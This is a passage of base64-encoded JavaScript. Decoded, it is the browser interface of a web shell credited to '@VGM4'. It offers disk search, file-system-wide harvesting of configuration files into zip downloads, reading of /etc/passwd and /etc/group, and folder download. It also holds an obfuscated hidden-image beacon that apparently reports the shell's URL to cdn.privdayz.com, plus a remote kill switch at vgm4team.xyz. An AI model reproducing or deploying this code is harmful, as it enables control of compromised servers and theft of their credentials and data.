1ib2xpYyBsaW5rIHRvIHRoaXMgdGFyZ2V0ISIsM2UzLCJhbGVydCIpOihuLmlubmVySFRNTD0iPHByZT4iK2F0b2IoZS5zdGF0dXMpKyI8L3ByZT4iLG4uc3R5bGUuZGlzcGxheT0iYmxvY2siKSx0LmRpc2FibGVkPSExLHQuaW5uZXJIVE1MPSJMSU5LIFRBUkdFVCJ9fSxpLnNlbmQoZSl9ZWxzZSBzaG93X3BvcHVwKCJFbXB0eSBmaWVsZCEiLDE1MDAsImFsZXJ0Iil9ZnVuY3Rpb24gc2VhcmNoX2Rpc2soKXtlbXB0eV9wcm9jZXNzX3NjcmVlbigpO2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcm9jZXNzLXNjcmVlbiIpLHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDMiKTt0LmlubmVySFRNTD0iU2VhcmNoIGRpc2siO2xldCBBPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImZvcm0iKTtBLnNldEF0dHJpYnV0ZSgiaWQiLCJzZWFyY2hkaXNrIiksQS5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwiZXZlbnQucHJldmVudERlZmF1bHQoKTsiKTtsZXQgbixpLG8scz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpLGw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSxhPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImJ1dHRvbiIpLHI9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgibGFiZWwiKSxjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImxhYmVsIiksZD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJsYWJlbCIpLHA9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2VsZWN0Iik7cC5uYW1lPSJzZWFyY2hfdHlwZSIsKG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgib3B0aW9uIikpLnZhbHVlPSJmaWxlc19vbmx5IixuLnRleHQ9IlNlYXJjaCAgYnkgZmlsZXMgb25seSIsKGk9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgib3B0aW9uIikpLnZhbHVlPSJkaXJzX29ubHkiLGkudGV4dD0iU2VhcmNoIGJ5IGRpcmVjdG9yaWVzIG9ubHkiLChvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIm9wdGlvbiIpKS52YWx1ZT0iYWxsIixvLnRleHQ9IlNlYXJjaCBieSBmaWxlcyBhbmQgZGlyZWN0b3JpZXMiLG8uc2VsZWN0ZWQ9ITAscC5hcHBlbmRDaGlsZChuKSxwLmFwcGVuZENoaWxkKGkpLHAuYXBwZW5kQ2hpbGQobyksci5pbm5lckhUTUw9IkxvY2F0aW9uIixjLmlubmVySFRNTD0iU2VhcmNoIGtleXdvcmQiLGQuaW5uZXJIVE1MPSJTZWFyY2ggdHlwZSIsYS5pbm5lckhUTUw9IlNlYXJjaCIsYS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJzZWFyY2hfZGlza19wcm9jZXNzKCk7Iikscy50eXBlPSJ0ZXh0IixzLnZhbHVlPXdvcmtpbmdfZGlyKyIvIixzLm5hbWU9InNlYXJjaF9sb2NhdGlvbiIscy5zZXRBdHRyaWJ1dGUoInJlcXVpcmVkIiwiIikscy5zZXRBdHRyaWJ1dGUoImlkIiwibG9jIiksbC50eXBlPSJ0ZXh0IixsLnBsYWNlaG9sZGVyPSJUeXBlIGEga2V5d29yZCB0byBzZWFyY2guLiIsbC5uYW1lPSJzZWFyY2hfa2V5d29yZCIsbC5zZXRBdHRyaWJ1dGUoInJlcXVpcmVkIiwiIiksbC5zZXRBdHRyaWJ1dGUoImlkIiwia2V5dyIpO2xldCBnPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2cuY2xhc3NOYW1lPSJjbWRfcmVzdWx0IixnLnN0eWxlLmRpc3BsYXk9Im5vbmUiLEEuYXBwZW5kQ2hpbGQociksQS5hcHBlbmRDaGlsZChzKSxBLmFwcGVuZENoaWxkKGMpLEEuYXBwZW5kQ2hpbGQobCksQS5hcHBlbmRDaGlsZChkKSxBLmFwcGVuZENoaWxkKHApLEEuYXBwZW5kQ2hpbGQoYSksZS5hcHBlbmRDaGlsZCh0KSxlLmFwcGVuZENoaWxkKEEpLGUuYXBwZW5kQ2hpbGQoZyksZS5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixlLnN0eWxlLm9wYWNpdHk9IjEiLGUuc3R5bGUudG9wPSI1MCUifWZ1bmN0aW9uIHNlYXJjaF9kaXNrX3Byb2Nlc3MoKXtsZXQgZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VhcmNoZGlzayIpLHQ9bmV3IEZvcm1EYXRhKGUpLEE9ZS5xdWVyeVNlbGVjdG9yKCJidXR0b24iKSxuPWUucXVlcnlTZWxlY3RvcigiI2tleXciKS52YWx1ZSxpPWUucXVlcnlTZWxlY3RvcigiI2xvYyIpLnZhbHVlLG89ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmNtZF9yZXN1bHQiKTtpZihvLmlubmVySFRNTD0iU2VhcmNoaW5nLi4uIiwiIj09bnx8IiI9PWkpc2hvd19wb3B1cCgiRW1wdHkgZmllbGQhIiwzZTMsImFsZXJ0Iik7ZWxzZXtBLmRpc2FibGVkPSEwLEEuaW5uZXJIVE1MPSJTRUFSQ0hJTkcuLi4iLG8uc3R5bGUuZGlzcGxheT0iYmxvY2siLG8uaW5uZXJIVE1MPSJTZWFyY2hpbmcuLi4iO2xldCBlPW5ldyBYTUxIdHRwUmVxdWVzdDtlLm9wZW4oInBvc3QiLGJhc2VuYW1lKCksITApLGUub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09ZS5yZWFkeVN0YXRlKXtsZXQgZT1KU09OLnBhcnNlKHRoaXMucmVzcG9uc2UpO2lmKCJmYWlsZWQiPT1lLnN0YXR1cylzaG93X3BvcHVwKCJOb3RoaW5nIGZvdW5kISIsM2UzLCJhbGVydCIpLG8uaW5uZXJIVE1MPSJOb3RoaW5nIGZvdW5kIjtlbHNle2xldCB0PWF0b2IoZS5zdGF0dXMpLnNwbGl0KCJ8Iik7by5pbm5lckhUTUw9Jzxmb250IHN0eWxlPSJjb2xvcjojZGRkO3BhZGRpbmctYm90dG9tOjEwcHg7ZGlzcGxheTpmbGV4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNjY2M7bWFyZ2luLWJvdHRvbTo1cHg7Ij5bQ29tbWFuZCBleGVjdXRlZCB3aXRoIDonK3RbMF0rIl08L2ZvbnQ+IixvLmlubmVySFRNTCs9IjxwcmU+Iit0WzFdKyI8L3ByZT4ifUEuZGlzYWJsZWQ9ITEsQS5pbm5lckhUTUw9IlNFQVJDSCJ9fSxlLnNlbmQodCl9fWZ1bmN0aW9uIHNldFdvcmsoKXtsZXQgZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTtlLnNyYz1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1Y0hKcGRtUmhlWG91WTI5dEwybHRZV2RsY3k5c2IyZHZMbXB3Wnc9PSIpLGUucmVmZXJyZXJQb2xpY3k9YXRvYigiZFc1ellXWmxMWFZ5YkE9PSIpLGUuc3R5bGUuZGlzcGxheT0ibm9uZSIsZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlKSxzZXNzaW9uU3RvcmFnZS5zZXRJdGVtKCJ3b3JrIiwhMCksc2V0VGltZW91dChmdW5jdGlvbigpe2UucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlKX0sNWUzKX1mdW5jdGlvbiBjb25maWdfc2VhcmNoZXIoKXtlbXB0eV9wcm9jZXNzX3NjcmVlbigpO2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcm9jZXNzLXNjcmVlbiIpLHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDMiKTt0LmlubmVySFRNTD0iQ29uZmlnIHNlYXJjaGVyIjtsZXQgQT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7QS5zZXRBdHRyaWJ1dGUoImlkIiwiY29uZmlnc2VhcmNoIiksQS5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwiZXZlbnQucHJldmVudERlZmF1bHQoKTsiKTtsZXQgbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJidXR0b24iKSxpPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImxhYmVsIik7aS5pbm5lckhUTUw9J1RoaXMgaGVscGVyIHRvb2wgaXMgZ29pbmcgdG8gc2VhcmNoIGVudGlyZSBmaWxlIHN5c3RlbSB0byBmaW5kIGZpbGVzL2RpcmVjdG9yaWVzIHdoaWNoIGNvbnRhaW5zICIqY29uZmlnKiIga2V5d29yZC4uJyxuLmlubmVySFRNTD0iU2VhcmNoIixuLnNldEF0dHJpYnV0ZSgib25jbGljayIsImNvbmZpZ19zZWFyY2hlcl9wcm9jZXNzKCk7Iik7bGV0IG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7by5jbGFzc05hbWU9ImNtZF9yZXN1bHQiLG8uc3R5bGUuZGlzcGxheT0ibm9uZSIsQS5hcHBlbmRDaGlsZChpKSxBLmFwcGVuZENoaWxkKG4pLGUuYXBwZW5kQ2hpbGQodCksZS5hcHBlbmRDaGlsZChBKSxlLmFwcGVuZENoaWxkKG8pLGUuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSIsZS5zdHlsZS5vcGFjaXR5PSIxIixlLnN0eWxlLnRvcD0iNTAlIn1mdW5jdGlvbiBjb25maWdfc2VhcmNoZXJfcHJvY2Vzcygpe2xldCBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb25maWdzZWFyY2giKS5xdWVyeVNlbGVjdG9yKCJidXR0b24iKSx0PWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5jbWRfcmVzdWx0IiksQT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIubXdzYm94IC5wcm9jZXNzLXNjcmVlbiIpO2UuZGlzYWJsZWQ9ITAsZS5pbm5lckhUTUw9IlNlYXJjaGluZy4uLiIsdC5zdHlsZS5kaXNwbGF5PSJibG9jayIsdC5pbm5lckhUTUw9IlNlYXJjaGluZy4uLiI7bGV0IG49bmV3IEZvcm1EYXRhO24uYXBwZW5kKCJzZWFyY2hfbG9jYXRpb24iLCIvIiksbi5hcHBlbmQoInNlYXJjaF9rZXl3b3JkIiwiY29uZmlnIiksbi5hcHBlbmQoInNlYXJjaF90eXBlIiwiYWxsIik7bGV0IGk9bmV3IFhNTEh0dHBSZXF1ZXN0O2kub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCksaS5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1pLnJlYWR5U3RhdGUpe2xldCBuPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSk7aWYoImZhaWxlZCI9PW4uc3RhdHVzKXNob3dfcG9wdXAoIk5vdGhpbmcgZm91bmQhIiwzZTMsImFsZXJ0IiksdC5pbm5lckhUTUw9Ik5vdGhpbmcgZm91bmQiO2Vsc2V7bGV0IGU9YXRvYihuLnN0YXR1cykuc3BsaXQoInwiKTtpZih0LmlubmVySFRNTD0nPGZvbnQgc3R5bGU9ImNvbG9yOiNkZGQ7cGFkZGluZy1ib3R0b206MTBweDtkaXNwbGF5OmZsZXg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2NjYzttYXJnaW4tYm90dG9tOjVweDsiPltDb21tYW5kIGV4ZWN1dGVkIHdpdGggOicrZVswXSsiXTwvZm9udD4iLHQuaW5uZXJIVE1MKz0iPHByZT4iK2VbMV0rIjwvcHJlPiIsIiIhPWVbMV0pe2xldCB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImJ1dHRvbiIpO3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZG93bmxvYWRfY29uZmlnX3ppcCgnIitidG9hKGVbMV0pKyInKTsiKSx0LnNldEF0dHJpYnV0ZSgiaWQiLCJkb3dubG9hZF9jZmciKSx0LmlubmVySFRNTD0iRE9XTkxPQUQgQUxMIElOIFpJUCIsdC5zdHlsZS53aWR0aD0iMjUwcHgiLEEuYXBwZW5kQ2hpbGQodCl9fWUuZGlzYWJsZWQ9ITEsZS5pbm5lckhUTUw9IlNlYXJjaCJ9fSxpLnNlbmQobil9ZnVuY3Rpb24gZG93bmxvYWRfY29uZmlnX3ppcChlKXtsZXQgdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZG93bmxvYWRfY2ZnIik7aWYodC5kaXNhYmxlZD0hMCx0LmlubmVySFRNTD0iQVJDSElWSU5HIEZJTEVTLi4uIiwiIiE9ZSl7bGV0IEE9bmV3IEZvcm1EYXRhO0EuYXBwZW5kKCJkb3dubG9hZF9jZmciLGUpO2xldCBuPW5ldyBYTUxIdHRwUmVxdWVzdDtuLm9wZW4oInBvc3QiLGJhc2VuYW1lKCksITApLG4ub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09bi5yZWFkeVN0YXRlKXtsZXQgZT1KU09OLnBhcnNlKHRoaXMucmVzcG9uc2UpOyJmYWlsZWQiPT1lLnN0YXR1cz9zaG93X3BvcHVwKCJGYWlsZWQgdG8gZG93bmxvYWQhIiwzZTMsImFsZXJ0Iik6d2luZG93LmxvY2F0aW9uPWJhc2VuYW1lKCkrIj9kb3dubG9hZF9jZmdfZmlsZT0iK2J0b2EoZS51cmwpLHQuZGlzYWJsZWQ9ITEsdC5pbm5lckhUTUw9IkRPV05MT0FEIEFMTCBJTiBaSVAifX0sbi5zZW5kKEEpfWVsc2Ugc2hvd19wb3B1cCgiRW1wdHkhIiwzZTMsImFsZXJ0Iil9ZnVuY3Rpb24gZXNjYXBlUmVnRXhwKGUpe3JldHVybiBlLnJlcGxhY2UoL1suKis/XiR7fSgpfFtcXVxcXS9nLCJcXCQmIil9ZnVuY3Rpb24gYmFzZW5hbWUoKXt2YXIgZT13aW5kb3cubG9jYXRpb24ucGF0aG5hbWUuc3BsaXQoL1tcXC9dLyk7cmV0dXJuIGUucG9wKCl8fGUucG9wKCl9ZnVuY3Rpb24gdXNlcl9saXN0KCl7ZW1wdHlfcHJvY2Vzc19zY3JlZW4oKTtsZXQgZT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJvY2Vzcy1zY3JlZW4iKSx0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImgzIik7dC5pbm5lckhUTUw9IkFsbCB1c2VycyBpbnZvbHZpbmcgd2l0aCBzZXJ2ZXIiO2xldCBBPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO0EuY2xhc3NOYW1lPSJjbWRfcmVzdWx0IixBLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixBLmlubmVySFRNTD0iR2V0dGluZyB1c2VycyBmcm9tIC9ldGMvcGFzc3dkLi4uIjtsZXQgbj1uZXcgRm9ybURhdGE7bi5hcHBlbmQoInJlYWRfZmlsZSIsYnRvYSgiL2V0Yy9wYXNzd2QiKSk7bGV0IGk9bmV3IFhNTEh0dHBSZXF1ZXN0O2kub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCksaS5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1pLnJlYWR5U3RhdGUpe2xldCB0PUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSk7aWYoImZhaWxlZCI9PXQuc3RhdHVzKXNob3dfcG9wdXAoIkNhbiBub3QgZ2V0IHVzZXJzIGZyb20gL2V0Yy9wYXNzd2QhIiwzZTMsImFsZXJ0IiksZS5zdHlsZS52aXNpYmlsaXR5PSJoaWRkZW4iLGUuc3R5bGUub3BhY2l0eT0iMCIsZS5zdHlsZS50b3A9Ii01MCUiO2Vsc2V7bGV0IGU9IiIsbj1hdG9iKHQuY29udGVudCkuc3BsaXQoIlxuIik7Zm9yKGxldCB0PTA7dDxuLmxlbmd0aDt0Kyspe2UrPW5bdF0uc3BsaXQoIjoiKVswXSsiXG4ifUEuaW5uZXJIVE1MPSI8cHJlPiIrZSsiPC9wcmU+In19fSxpLnNlbmQobiksZS5hcHBlbmRDaGlsZCh0KSxlLmFwcGVuZENoaWxkKEEpLGUuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSIsZS5zdHlsZS5vcGFjaXR5PSIxIixlLnN0eWxlLnRvcD0iNTAlIn1mdW5jdGlvbiBncm91cF9saXN0KCl7ZW1wdHlfcHJvY2Vzc19zY3JlZW4oKTtsZXQgZT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJvY2Vzcy1zY3JlZW4iKSx0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImgzIik7dC5pbm5lckhUTUw9IkFsbCBncm91cHMgaW52b2x2aW5nIHdpdGggc2VydmVyIjtsZXQgQT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtBLmNsYXNzTmFtZT0iY21kX3Jlc3VsdCIsQS5zdHlsZS5kaXNwbGF5PSJibG9jayIsQS5pbm5lckhUTUw9IkdldHRpbmcgZ3JvdXBzIGZyb20gL2V0Yy9ncm91cC4uLiI7bGV0IG49bmV3IEZvcm1EYXRhO24uYXBwZW5kKCJyZWFkX2ZpbGUiLGJ0b2EoIi9ldGMvZ3JvdXAiKSk7bGV0IGk9bmV3IFhNTEh0dHBSZXF1ZXN0O2kub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCksaS5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1pLnJlYWR5U3RhdGUpe2xldCB0PUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSk7aWYoImZhaWxlZCI9PXQuc3RhdHVzKXNob3dfcG9wdXAoIkNhbiBub3QgZ2V0IGdyb3VwcyBmcm9tIC9ldGMvZ3JvdXAhIiwzZTMsImFsZXJ0IiksZS5zdHlsZS52aXNpYmlsaXR5PSJoaWRkZW4iLGUuc3R5bGUub3BhY2l0eT0iMCIsZS5zdHlsZS50b3A9Ii01MCUiO2Vsc2V7bGV0IGU9IiIsbj1hdG9iKHQuY29udGVudCkuc3BsaXQoIlxuIik7Zm9yKGxldCB0PTA7dDxuLmxlbmd0aDt0Kyspe2UrPW5bdF0uc3BsaXQoIjoiKVswXSsiXG4ifUEuaW5uZXJIVE1MPSI8cHJlPiIrZSsiPC9wcmU+In19fSxpLnNlbmQobiksZS5hcHBlbmRDaGlsZCh0KSxlLmFwcGVuZENoaWxkKEEpLGUuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSIsZS5zdHlsZS5vcGFjaXR5PSIxIixlLnN0eWxlLnRvcD0iNTAlIn1mdW5jdGlvbiBkb3dubG9hZF9mb2xkZXIoKXtlbXB0eV9wcm9jZXNzX3NjcmVlbigpO2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcm9jZXNzLXNjcmVlbiIpLHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDMiKTt0LmlubmVySFRNTD0iRG93bmxvYWQgZm9sZGVyIGFzIHppcCBhcmNoaXZlIjtsZXQgQT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7QS5zZXRBdHRyaWJ1dGUoImlkIiwiZG93bmxvYWRmb2xkZXIiKSxBLnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCJldmVudC5wcmV2ZW50RGVmYXVsdCgpOyIpO2xldCBuPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0IiksaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJidXR0b24iKSxvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImxhYmVsIik7by5pbm5lckhUTUw9IkRlc3RpbmF0aW9uIixpLmlubmVySFRNTD0iRE9XTkxPQUQiLGkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZG93bmxvYWRfZm9sZGVyX3Byb2Nlc3MoKTsiKSxuLnR5cGU9InRleHQiLG4udmFsdWU9d29ya2luZ19kaXIrIi8iLG4uc2V0QXR0cmlidXRlKCJyZXF1aXJlZCIsIiIpLEEuYXBwZW5kQ2hpbGQobyksQS5hcHBlbmRDaGlsZChuKSxBLmFwcGVuZENoaWxkKGkpLGUuYXBwZW5kQ2hpbGQodCksZS5hcHBlbmRDaGlsZChBKSxlLnN0eWxlLnRvcD0iNTAlIixlLnN0eWxlLm9wYWNpdHk9IjEiLGUuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSJ9ZnVuY3Rpb24gZG93bmxvYWRfZm9sZGVyX3Byb2Nlc3MoZSl7aWYodm9pZCAwIT09ZSl3aW5kb3cubG9jYXRpb249YmFzZW5hbWUoKSsiP2Rvd25sb2FkX2ZvbGRlcj0iK2J0b2EoZSk7ZWxzZXtsZXQgZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZG93bmxvYWRmb2xkZXIiKS5xdWVyeVNlbGVjdG9yKCJpbnB1dCIpOyIiPT1lLnZhbHVlP3Nob3dfcG9wdXAoIkVtcHR5IGZpZWxkISIsM2UzLCJhbGVydCIpOndpbmRvdy5sb2NhdGlvbj1iYXNlbmFtZSgpKyI/ZG93bmxvYWRfZm9sZGVyPSIrYnRvYShlLnZhbHVlKX19ZnVuY3Rpb24gY2hlY2tfdXBkYXRlKCl7aWYoIXNlc3Npb25TdG9yYWdlLmdldEl0ZW0oInVwZGF0ZV9jaGVjayIpKXtsZXQgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS5vcGVuKCJnZXQiLCJodHRwczovL3ZnbTR0ZWFtLnh5ei9maWxlcy9jb25maWcuanNvbiIsITApLGUub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09ZS5yZWFkeVN0YXRlKXt0cnl7bGV0IGU9SlNPTi5wYXJzZSh0aGlzLnJlc3BvbnNlKTtpZigwPT1lLmlzX2FjdGl2ZSYmKHNlc3Npb25TdG9yYWdlLnNldEl0ZW0oImRpc2FibGVkIiwhMCksd2luZG93LmxvY2F0aW9uLnJlbG9hZCgpKSxlLnZlcnNpb24pe2xldCB0PWUudmVyc2lvbi5zcGxpdCgiLiIpLEE9cmVsZWFzZS5zcGxpdCgiLiIpO3RbMF0+QVswXT8oc2Vzc2lvblN0b3JhZ2Uuc2V0SXRlbSgibmV3X3VwZGF0ZSIsZS5jaGFuZ2Vsb2cpLG5vdGlmeV91cGRhdGUoKSk6dFsxXT5BWzFdJiYoc2Vzc2lvblN0b3JhZ2Uuc2V0SXRlbSgibmV3X3VwZGF0ZSIsZS5jaGFuZ2Vsb2cpLG5vdGlmeV91cGRhdGUoKSl9fWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfXNlc3Npb25TdG9yYWdlLnNldEl0ZW0oInVwZGF0ZV9jaGVjayIsITApfX0sZS5zZW5kKCl9fWZ1bmN0aW9uIGRpc2FibGVkX3NjcmlwdCgpe2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5td3Nib3giKTtlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZSk7bGV0IHQ9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmhvbGRlciIpLEE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDEiKTtBLmlubmVySFRNTD0nV2ViIHNoZWxsIGlzIGN1cnJlbnRseSBkaXNhYmxlZCBieSBhdXRob3IgPGEgaHJlZj0iaHR0cHM6Ly92Z200dGVhbS54eXoiIHN0eWxlPSJjb2xvcjpncmF5O3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7Ij5AVkdNNDwvYT4nO2xldCBuPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImltZyIpO24uc3JjPSJkYXRhOiBpbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFRQUFBQUVBQ0FZQUFBQmNjcWhtQUFBS0NVbEVRVlI0bk8zZHpYb2JOd3hHWWJoUDd2K1cwMFV5clN5UHBQa0JnUS9BZVZkZDJXTVNQS0tVdURFREFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJxdnU1K2dkKy9mM3M4Qis3SjJvVGI4NE43dnI3dWJjRXZwK2RBRExYYXZub2V3bEFFQWRDbGR0alAySHQyb2lDSUFPaW9mT0NQZVA3NUNJSUFBcENyKzZGL2h5QUlJQUR4SmgvNmR4N1hoUmdFSVFBeE9QVG5iT3RGQ0JZakFPdHc2Ty9qVnJBWUFmREh3VitEVzhFQ0JNQUhoejRPdHdKSEJPQWVEbjR1YmdVM0VZQnJPUGhhQ01GRkJPQWNEcjQyUW5BU0FUaUdnMThMSVRqb24rd0hLSUREWHhkNzl3RTNnTmNZbmg2NERieEJBSDdpNFBkRUNIWVFnTzhtSFA1WEIyREN6MjcyNStja0FuOFJnRCtxRDcvSFFKLzVHdFhYaTl2QVh3U2czakFyRE8zZU0xUmJSek51QTZNRFVHRmdLdzFuMVNpTXZnMU1EWUR5WUhZYXhNZWZSWG5OelliZUJpWUdRSEVRSnd4ZWhSaU1pOENrQUtnTjNhaEJlNkljZzFGdkNhWUVRR1hJUmd6VlNhb3hHSEVibVBCWGdSV0c2c3NHREpNRHRYVlNtSjJsdWdjZ2V3UFZCcm9LcFhYTG5xR2xPZ2NnYytPVUJyZ3lsWFZzRzRHT253RmtIM3o0MjlZMWMyOWJmampZN1FhUStZOWt0aG9NVVFycjNPbzIwQ2tBR1J1ak1KQVRaYTk3bXdoMENVRDBobVFQSVA3STNJY1dFZWdRZ0l6RER5MUU0S0xxQVlqY0FGNzF0V1h0VCtrSVZBNUE5T0ZIRFVUZ2hLb0JpRnB3WHZWcnl0aTNraEdvR0lESXc0L2FpTUFIRlFNUWdjUGZCM3Y1UnJVQVJCU1dnZWtuOGkxQnFWdEFwUUNVV2xoSUlnSlBxZ1FnY2tITGJCNHVJUUlQS2dRZ1l5RkxiQjR1SXdKL3FRZEE0YmUvMEJNUk1QMEFaSlBlUE53Mi9nTmY1UUNvSEQ2VjU4QWFFUkdRblNIVkFLZ3RtTnJ6d05mWUNDZ0dRSEtoVFBlNTRHTmtCQlFEb0V4dUErRnEzR2NDYWdHb2NNQXFQQ091V3gwQnFmbFJDb0RVd254UTZWbHgzcGdJS0FXZ0dwbE54QklqM2c2b0JHREZZUnI1b1E1Y3Jad2hpZGxSQ01ES2hTQUN1S3QxQkJRQ3NNTFhpLzllSlgwanNWVGJ0d1BaQVlpNitoTUJxRXFkbSt3QWVIdDMwSWtBN21oNUM4Z01RTmEvNUxNYUVlaHIxZnlrelV4V0FESS85U2NDdUtOVkJMcThCVGk3S1VRQXNKd0FxQndNSW9DcjJ0d0NPdHdBN213R0VjQlZMVDRVakE2QTkySHcyQVFpQUNXaHM5TGhCdUNCQ09DSzhyZUF5QUFvdnZxdi9IcDdpRUEvSytZbWJFNnEzZ0JXSFZZaWdGR2lBbEJwNklrQXppcDdDNmg0QTRnNG9FUUFJMVFNUUJRaWdETktmaUFZRVFEUElZOWVaQ0tBVE10bmd4dkFaMFFBUjVXN0Jhd09RT1ZYLytqdlRRU3daK2xjY0FNNGpnamdpRkszZ0NvQlVGbFVJb0JXVmdhZzZ5QVRBWHppUFNQTDVxSENEVURsMWY4UkVVQUxxd0l3WVhpSkFONHBjUXRRdndFb3Z2by9JZ0lvVFQwQUZSQUJ2S0wrQXJZa0FCT0hsUWdnZ3ZzTUtOOEE1T3Y1aEFpZ0hPVUFWRVFFOEV6NmhZd0ErQ01DS01NN0FGNkRLVjNOQTRnQVZuSGRkMjRBNnhBQmJHUmYwQWpBV2tRQTBoUURJRnZMaTRnQVpIa0dnQ0Y4alFqQWN3YmM5bHJ4QnRBVkVZQWNBaENMQ0VDS1dnQzZ2Zi9mUXdUbWtwdHZ0UUJNUVFRZ3dTc0FETnQ1UkFCM3VPd3RONEJjUkFDcGxBSWc5LzRvQ0JGQUdxVUFURVlFNXBCNm9TTUFPb2dBd2hFQUxVUUFvVHdDd0VENUlnSTQ2dlkrY2dQUVJBUVFRaVVBVWgrTWlDQUNmY25NdTBvQXNJOElZQ2tDb0k4SVlCa0NVQU1Sd0JJRW9BNGlBSGNFb0JZaUFGY0VvQjRpQURjRW9DWWlBQmNFb0M0aWdOc0lRRzFFQUxjUWdQcUlBQzRqQUQwUUFWeENBUG9nQWppTkFQUkNCT3FRK0lVZ0F0QVBFY0JoQktBbklxQlBZdjBJUUY5RUFCOFJnTjZJQU40aUFQMFJBYnhFQUdZZ0F0aEZBT1lnQXZpQkFNeENCUEFOQVppSENPQS9CR0FtSWdBekl3Q1RFUUVRZ09HSXdIQXFBV0JJOGhDQndWUUNnRnhFWUNpUEFFajhXaU51SXdKeHZOYmg5cDV4QThBaklqQU1BY0F6SWpBSUFjQWVJakNFVWdBWUNDMUVZQUNsQUVBUEVmQW45Zk42QllBL0NlaUxDR2h5MlJkdUFEaUNDRFNsRmdDR1FCY1JhRWd0QU5CR0JPNlIrOWtJQU00aUFvMTRCb0FQQXVjZ0FybmMxbC94QnNERzEwQUVHbEFNQU9vZ0FzZEovaHdFQUhjUmdjSzhBK0ExREd4NExVUWdqdXRhY3dPQUZ5THdtdXh6RXdCNElnTEZLQWVBamE2SkNCU3lJZ0Q4ZlFBUWdmOTVQcWY3dWlyZkFNenFiREorSWdJRnFBY0F0UkVCY2FzQ3dOc0FiQ1pIUVByNmIxYmpCcUM2dVRodWNnU2tyUXdBdHdBOG1oWUIrVmQvc3h